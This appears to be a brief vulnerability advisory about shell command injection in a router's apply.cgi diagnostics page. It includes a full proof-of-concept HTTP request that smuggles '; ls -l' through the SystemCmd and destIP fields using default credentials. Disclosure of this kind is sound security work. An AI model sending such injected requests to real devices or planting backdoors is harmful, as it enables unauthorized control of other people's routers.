Insufficient (or rather, a complete lack thereof) input sanitization leads to the injection of shell commands. It's possible to upload and execute a backdoor. Example request: GET /apply.cgi?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=ping+-c+5+%3B+ls+-l&firmver=3.0.0.4&cmdMethod=ping&destIP=%3B+ls+-l+.%2Fuser%2Fcgi-bin%2F&pingCNT=5 HTTP/1.1 Host: 192.168.1.1 Proxy-Connection: keep-alive Authorization: Basic ZGVmYXVsdA== Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36 Referer: http://192.168.1.1/Main_Analysis_Content.asp Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8